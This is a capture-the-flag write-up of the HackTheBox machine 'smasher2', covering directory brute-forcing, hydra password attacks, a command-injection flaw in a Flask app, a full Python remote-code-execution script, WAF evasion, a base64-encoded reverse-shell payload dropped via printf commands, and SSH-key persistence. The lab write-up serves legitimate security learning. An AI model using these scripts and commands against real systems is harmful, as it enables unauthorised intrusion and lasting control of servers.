How to hack "smasher2" on hackthebox.eu
Introduction,
This was a frustrating and interesting challenge, there were parts of it that I really enjoyed and found very useful, and then there were brute force obstacles which I generally don't like but are unfortunately a requirement in a number of situations.
Disclaimer: The following activities were conducted in a lab environment with permission from the server owners. These techniques should not be used for any illegal activity under any circumstances.
What's covered in this article
This is a technical write-up describing how I approached attacking 'smasher2' on hackthebox.eu. The article probably won't contain all the attack vectors and may differ from the official write-up (available on hackthebox.eu).
In this article we will cover;
- Brute forcing a web directory
- HTTP Basic Authentication Bypass
- DNS Enumeration to find hidden subdomains
- Code analysis of a Python Flask application
- Writing a proof of concept exploit
- Reverse Engineering a shared object binary (using the Ghidra tool from the NSA)
- Web Application Firewall (WAF) Evasion
- Setting up persistent access with ssh
As you can see there was a decent amount of work needed to get this box done... so let's get started!
Information Gathering
First, we run a basic nmap scan with the -A flag set to enable OS detection, version detection, default scripts, and traceroute
nmap -A 10.10.10.135
Ports 53 (DNS) and 80 (http) jump out as interesting here, we will want to look at both of these in detail but with web being the largest attack surface, we start with port 80.
Port 80
Browsing to the address we see the following;
Whenever we see a default page like this, it's generally good news for us as attackers because it's a sign of poor housekeeping. It's also a strong indication that some form of a web application is running on this server. As part of my standard methodology, I start to fuzz for directories using various tools.
dirb
dirb is a scanner that looks for existing or hidden web objects. It works by launching a dictionary attack against a web server and analysing the response.
dirb "https://10.10.10.135"
We get a few 403 Forbidden's but there is an interesting 401 Unauthorised that might be worth a closer look.
Brute force
At this point, we need to start thinking about brute-forcing the login. This is my least favourite part of any box. Luckily, it appears one of the creators of this challenge understand this because they shared a hint in the forums that the username was "admin" and the password began with a lower case "c".
Ordinarily, we would set up a brute force attack to run through the most common usernames and passwords from to separate files, starting with the smallest wordlists and working up to the more complex ones. But, armed with this extra little piece of information we gained from our "open-source intelligence (OSINT)" ??. We can create a more specific brute force attack and save some time.
First, we need a decent wordlist, this being a CTF its reasonable to assume that one of the standard ones will work so let's take the contents of the rockyou.txt (available in Kali) and use grep to filter out only the lower case c's and direct them into a new file called rockyouc.txt
cat "/usr/share/wordlists/rockyou.txt" | grep -E "^c" > rockyouc.txt
Now that we have our "custom" wordlist, let's run hydra against the target and see what we get.
hydra -l admin -P rockyouc.txt "10.10.10.135" http-get /backup
Great! we have credentials... we can use these to get into the /backup directory and we now have access to some loot.
After downloading these two files and taking a good look at them, we can see that auth.ph is a flask application (Flask is a micro web framework written in Python) and ses.so is a Shared Object (A compiled library file, similar to a Windows DLL)
The auty.py file actually imports the ses.so file so these files are designed to work together.
Looking through auth.py it appears to handle the authentication process for some sort of an API. One thing that immediately stands out is the authenticated section of this script appears to be vulnerable to remote code execution, it calls "bash -c" with what looks like potentially unsanitised user input.
if "schedule" in data: out = subprocess.check_output(['bash', '-c', data["schedule"]]) ret["success"] = True ret["result"] = out
This being a "backup" of an application, it stands to reason that the actual application is running somewhere on this server. Our directory busting efforts have not revealed any other interesting directories so we need to look elsewhere. Port 53 is open, which tells me there's a good chance an unknown subdomain exists that we need to discover.
If we can find a subdomain that is running the vulnerable web application, we may be able to create an exploit to bypass the logic in auth.py and get remote code execution.
Port 53
Before we go digging into a potential rabbit hole with auth.py, let's try to confirm the application we are looking at is running on this server. We are working with domain names so let's add smasher2.htb to our /etc/hosts file.
after playing around with dig to enumerate port 53 we find two interesting items;
dig @10.10.10.135 smasher2.htb -t SOA +short dig @10.10.10.135 smasher2.htb -t PTR +short
So let's add these to our /etc/hosts file and then take a look at them
Looking at root.smasher2.htb we see the default page again and when we navigate to /backup we also get the same backup files. This seems to be a bit of dead-end, but it might play a role later on.
When we look at wonderfulsessionmanager.smasher2.htb however, we find an application that appears to fit with what we are looking for.
The page speaks of authentication based on python 2.7 (which auth.py is written in) and there is a /login page which is also in the script we have. That's a great start in confirming we are in the right place, but it could be a happy coincidence. We need to try a little harder to see if we can confirm without any doubt that this is our application.
Using burpsuite we can make a post request to /auth, which gives us the exact error we would expect according to auth.py
We have successfully confirmed wonderfulsessionmanager.smasher2.htb is running a version of auth.py!
Now we need to evaluate the backup script we found properly to try to find a way of getting some tainted user input into the vulnerable subprocess command, hopefully giving us remote code execution.
Code Analysis
So far we have enumerated the discovered ports, found a web application and brute forced access to a backup directory containing the source code of our application, which appears to be vulnerable to remote code execution. Now, we need to try and get some user input to that vulnerable section of code to actually test it.
When trying to run our backup copy of auth.py on our local machine we get an error.
The flask application is looking for html files in a folder called "templates", once we add that folder and some basic html files we get the script to run successfully.
Clarifying the goal
Now that we have a working script locally, our goal is to get some user input to the vulnerable subprocess command as a proof of concept, but before we can get to the green section of the code in the below screenshot, we first have a few hurdles to get through (highlighted in red)
The main hurdles are;
- We don't have a session ID
- We don't have an API key
- Even if we did have a session key, it needs to be known to the application in order for us to be authorised.
Getting the Session ID
The task now is to try and figure out how these items are generated and handled. After some poking around we identify that before a request to any path is made, this section of code is executed.
This means that whatever we try to do with this application we will first need to deal with the logic here, so let's simplify it and make this a little more visual to explain what's going on,
The good news is, if we make a request without a session ID we get given one, it also adds this ID to the managers variable and then crafts a secure token using some hardcoded credentials that have been redacted from the backup.
So that's one piece of the puzzle answered, and it also tells us that the ses.so binary is being used for some of the authentication process. We may want to try and dig into this binary a little later on to see if it holds any secrets. For now though, we can continue with our code review.
Getting the API key
Looking at the "/auth" route, we see a lot of activity and we are definitely going to need to break this down further to truly understand it. At a glance, it seems we will get our API Key here. It also seems to have some form of time-based protection mechanism in it, possibly to prevent brute force.
Let's make this more visual and remove some of the complexity to try and understand what's going on here.
This review shows that once we have our session ID, we can send a post request to /auth with a json payload that contains valid credentials. This should return a valid API key and allow us to progress to the vulnerable piece of code.
Because we control the local copy of the flask application, we can set these credentials to whatever we like for testing. On the live application though we don't have these credentials, so we will either have to brute force them (sigh...), try and find them somewhere else on the machine through further enumeration, or reverse engineer the accompanying shared object binary to see if it holds any other clues.
Do we have what we need?
Let's look at that vulnerable piece of code again,
We now understand how to get the session ID and API key, we also believe that during this process the session ID will be authenticated us in whatever underlying logic is in the ses.so binary.
Using this information, we should be able to send a Post request to the api endpoint with a data payload containing a "schedule" key-value pair with a bash command we want to be executed on the target.
We have everything we need to create a proof of concept and try to get remote code execution.
Putting it all together... Writing a proof of concept
There are three main parts to this remote code execution,
- Issue a request to the root directory to get a new session ID
- With that Session ID in hand, Authenticate to the application and get an API key
- With the Session ID and API key, issue a request to the API to execute our code on the target
We could do these things manually in burpsuite, but for repeatability, we create a script to make these requests for us instead. This will also help us avoid the "Too many tentatives, wait 2 minutes!" error we saw in the script. Before we start let's set the scripts credentials to test:test
To write our poc.py we need to start by importing the libraries we will be using and setting our target.
#!/usr/bin/env python import requests, json Target = "127.0.0.1:5000"
Next, we write a function to retrieve a session cookie
def Req1(): url = "https://"+ Target +"/" result = requests.get(url) return result
Now we write a function that uses that cookie to send our test credentials, allowing us to generate an API key.
def Req2(SessionCookie): url = "https://"+ Target +"/auth" JsonData = {"data": {"password": "test", "username": "test"}} result = requests.post(url, cookies = SessionCookie, json = JsonData) return result
Then we create a function that uses the session ID and Key to send the payload to the vulnerable section of code.
def Req3(SessionCookie, key, RequestData): url = "https://"+ Target +"/api/" + key + "/job" Headers = {"Content-Type": "application/json"} result = requests.post(url, headers = Headers, cookies = SessionCookie, data = RequestData) return result
Finally, we put everything together in __main__ and set cmd to equal "whoami" as a proof of concept for the remote code execution.
if __name__ == '__main__': cmd = 'whoami' ReqOneResult = Req1() SessionCookie = {"session": ReqOneResult.cookies['session']} ReqTwoResult = Req2(SessionCookie) JsonData = json.loads(ReqTwoResult.text) key = JsonData['result']['key'] data = {"schedule": cmd} data ?= json.dumps(data) ReqThreeResult = Req3(SessionCookie, key, data) print ReqThreeResult.text
When we run the proof of concept against the target locally, we confirm remote code execution!
Tidying things up
Let's modify the script to accept some parameters so it's more user-friendly and easier to switch between our local environment and the target.
#!/usr/bin/env python import argparse, sys, requests, json parser = argparse.ArgumentParser(description='smasher2 exploit') parser.add_argument('--url', help='Url of the target',required=True) parser.add_argument('--port',help='Port of the target', required=True) parser.add_argument('--username',help='Username to log in with', required=True) parser.add_argument('--password',help='Password to log in with', required=True) parser.add_argument('--cmd',help='The command to execute', required=True) args = parser.parse_args() print "Executing command", args.cmd #get the Session Cookie SessionCookie = {"session": requests.get("https://%s:%s/" % (args.url, args.port)).cookies['session']} #Get the API key key = json.loads(requests.post("https://%s:%s/auth" % (args.url, args.port), cookies = SessionCookie, json = {"data": {"password": args.password, "username": args.username}}).text)['result']['key'] #Send the command to the server ServerResponse = requests.post("https://%s:%s/api/%s/job" % (args.url, args.port, key), headers = {"Content-Type": "application/json"}, cookies = SessionCookie, data ?= json.dumps({"schedule": args.cmd})).text #print the response print ServerResponse
And let's quickly test this with a more advanced command;
Great! we have a fully functioning proof of concept exploit with easily adjustable parameters. Next, we need to figure out the credentials for our target machine. Once again we could brute force these if we have to, but before we go into that let's see if we can find something in this ses.so binary that might help us out.
Reverse Engineering ses.so
To take a closer look at ses.so we need to decompile it, for this we are going to use Ghidra, a software reverse engineering tool developed by the NSA. So let's import the binary.
And take a look at the SessionManager_check_login area of the file because we already know that's being used from our initial code review.
Ghidra allows us to rename variables and build up an understanding of the program's logic. It can be a fairly involved and time-consuming task and unfortunately, I'm not going to be able to cover the entire process in a single article, but when reviewing this file I found an interesting mistake that will allow us to more easily compromise this box so I will try to cover as much information as I can that is relevant to this box.
Within the decompiler window, Ghidra doesn't know what the variables are called when the program was created, so it names them as "local_01", "local_02" etc... In the below screenshot we can see that local_40 and local_38 appear to be getting the username and password from the payload we are sending to /auth in the second stage of our exploit.
Then local_30 and local_28 are making sure those values are strings. Next, the program calls get_internal_user() and compares its response to the string value of the username we sent. Then, if that matches, it does the same with get_inernal_pwd() and our password string.
If we take a closer look at the get_internal_user() and get_internal_pwd() functions, we see that the developer has made a mistake. They have created the get_internal_user() function and then copied it to create the get_internal_pwd() function, but they haven't changed the parameter that's being returned, they both return "user_login".
This means that the program is comparing the username we supply to the username on the box and then comparing the password we supply to the username on the box... so the password on the box isn't being used at all.
This means instead of us having to worry about brute forcing a username and password to get our script to work, we just need to brute force the username... because that's also the password!
Usernames are much easier to brute-force because they aren't meant to be complex. We already have parameters set on our exploit so we can use a bash loop to run through a custom wordlist and try each name.
for name in $(cat custom-userlist.txt); do ./smasher2-exploit.py --url WonderfulSessionManager.smasher2.htb --user $name --password $name --port 80 --cmd "whoami"; done
After a little time, we discover that the username (and password) we are looking for is "Administrator" and we have successfully managed to get remote code execution on the target.
Next, we want to upgrade this to a full reverse shell so we can start to take control of the server. However, we seem to have another obstacle in our way stopping us from executing certain commands. for example, if we send the command "whoami" we get the above response, but if we sent the command "id" we get a 403 forbidden. We appear to be interacting with a Web Application Firewall (WAF). We are going to have to bypass that to get our full reverse shell.
Web Application Firewall (WAF) Evasion
@Menin_TheMiddle has a few really good posts on evading web application firewall's so I'm not going to go into the details on how that works in this article, instead I recommend you go and read those here, here and here.
I really enjoyed playing around with this part of the challenge, the WAF blocked a lot of standard commands that I would use so I was forced to get creative with how I interacted with the system. I was able to do a number of things on the box and with the assistance of the techniques explained in the above links I was able to get a reverse shell as the user dzonerzy.
Using commands like this...
--cmd "p'w'd" {"result":"/home/dzonerzy/smanager\n","success":true}
And this...
--cmd "l's'" {"result":"assets\nauth.py\ncreds.log\nrunner.py\nses.so\ntemplates\n","success":true}
I was able to figure out where I was on the box. I also had the ability to use head and tail to read files, which allowed me to get the user flag and gather some other information from the system.
--cmd "head /home/dzonerzy/user.txt" {"result":"91a13e31ab3<redacted>50af62f2b43\n","success":true}
I found a file called Runner.py which seems to call the auth.py we've become familiar with
--cmd "head /home/dzonerzy/smanager/runner.py" {"result":"#!/usr/bin/env python\nimport subprocess\n\nwhile True:\n try:\n print \"Starting...\"\n p = subprocess.Popen([\"python\", \"/home/dzonerzy/smanager/auth.py\"],stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n p.wait()\n except KeyboardInterrupt:\n p.terminate()\n","success":true}
I was also able to append to files (and create new ones) within the dzonerzy directories.
--cmd "echo '\n#test' >> /home/dzonerzy/smanager/runner.py" {"result":"","success":true} --cmd "tail /home/dzonerzy/smanager/runner.py" {"result":" try:\n print \"Starting...\"\n p = subprocess.Popen([\"python\", \"/home/dzonerzy/smanager/auth.py\"],stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n p.wait()\n except KeyboardInterrupt:\n p.terminate()\n break\n except:\n pass\n\\n#test\n","success":true}
Using all these things I was able to create a python file with a payload that I generated from MSF Venom. There were a few characters in the payload that the WAF seemed not to like, but I was quickly able to substitute those for their Unicode values and create the file on the server over a few separate commands.
I put all this into a slightly modified version of the script we were working on the earlier and hardcoded the arguments so all I had to do was start a listener and run the exploit.
#!/usr/bin/env python import sys, requests, json #get the Session Cookie SessionCookie = {"session": requests.get("https://wonderfulsessionmanager.smasher2.htb:80/").cookies['session']} #Get the API key key = json.loads(requests.post("https://wonderfulsessionmanager.smasher2.htb:80/auth", cookies = SessionCookie, json = {"data": {"password": "Administrator", "username": "Administrator"}}).text)['result']['key'] def sendcommand(cmd): #Send the command to the server ServerResponse = requests.post("https://wonderfulsessionmanager.smasher2.htb:80/api/%s/job" % (key), headers = {"Content-Type": "application/json"}, cookies = SessionCookie, data = json.dumps({"schedule": cmd})).text return ServerResponse print sendcommand("printf 'exec(' > /home/dzonerzy/smanager/pwn.py") print sendcommand("printf '\x22' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("printf 'dCxvc0IHaWl<redacted>NvY2twpzbz' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("printf '\x22' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("printf '.decode(' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("printf '\x22' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("printf 'base' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("printf '64' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("printf '\x22' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("printf '))' >> /home/dzonerzy/smanager/pwn.py") print sendcommand("tail /home/dzonerzy/smanager/pwn.py") print sendcommand("python /home/dzonerzy/smanager/pwn.py")
When we run it... Success!
This shell works much better than the remote code execution that we have been using do far, and it's not subject to the WAF rules, so we can do pretty much anything we like as the user dzonerzy, but it's not very stable and that will cause us problems later if we don't fix it.
On our initial nmap scans, we noticed that ssh was running on this server, hopefully, we can take advantage of this and get a better shell.
First, we create an ssh key on our local machine and place the files in our working directory.
ssh-keygen -t rsa -b 4096 -C "[email protected]"
Next, we navigate to the directory that contains our new files and use python to set up a simple webserver to host them on the network.
python3 -m http.server 80
Then from our target, we use wget to grab those files and put them into the users .ssh directory.
wget https://10.10.14.60/ -r -nH -P '/home/dzonerzy/.ssh/'
Now we can use our shell to put the contents of the smather2_rsa.pub into the authorized_keys file
cat ../.ssh/smasher2_rsa.pub >> /home/dzonerzy/.ssh/authorized_keys
and change the permissions to allow us to ssh into the box
chmod 600 /home/dzonerzy/.ssh/authorized_keys
Finally, we can log onto the target thought ssh for a nice, stable and more secure shell.
Privilege Escalation
Privilege escalation required a kernel exploit abusing mmap, I completed it buy following This PDF and modifying a proof of concept I found on github.
I'm not going to include the privilege escalation in this write-up because
- I'm honestly not entirely sure I understand it well enough to explain it, and This PDF does a much better job of that than I could.
- I think we've covered enough in this article already.
I hope you found this article useful, Thanks for making it to the end! Be sure to follow me here if you would like to see more publications. You can also find me on Twitter, YouTube and Discord.
Lead Offensive Security Researcher at RevEng.AI
4 年Hope you enjoyed this box I'm already working on smasher3 stay tuned ;)
IT security Analyst & Auditor
4 年Great article!! BTW-Rooted the box a while ago; just remember having bypassed waf for user and dealt with some mmap exploit for root (https://labs.f-secure.com/assets/BlogFiles/mwri-mmap-exploitation-whitepaper-2017-09-18.pdf) tbh this box was beyond my level; hours of frustration thx for sharing! Gettin myself ready for saturday night party with #player2